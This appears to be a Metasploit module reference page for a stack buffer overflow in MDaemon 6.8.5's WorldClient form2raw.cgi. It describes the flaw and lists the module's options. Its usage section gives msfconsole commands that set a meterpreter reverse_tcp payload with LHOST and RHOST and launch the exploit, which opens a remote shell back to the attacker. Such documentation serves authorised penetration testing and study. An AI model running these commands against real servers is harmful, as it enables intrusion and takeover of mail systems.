MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow
This module exploits a stack buffer overflow in Alt-N MDaemon SMTP server for versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default), a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe, by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default), the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based overflow occurs when an excessively long From field is specified. The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes. Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait. Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will continue to crash/execute the payload until the CGI output is manually deleted from the queue in C:\MDaemon\RawFiles\*.raw.
Exploit Rank
- Great
Exploit Authors
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Universal MDaemon.exe (default)
- 1 - Debugging test
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/http/mdaemon_worldclient_form2raw
msf exploit(mdaemon_worldclient_form2raw) > show payloads
msf exploit(mdaemon_worldclient_form2raw) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mdaemon_worldclient_form2raw) > set LHOST [MY IP ADDRESS]
msf exploit(mdaemon_worldclient_form2raw) > set RHOST [TARGET IP]
msf exploit(mdaemon_worldclient_form2raw) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 3000) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |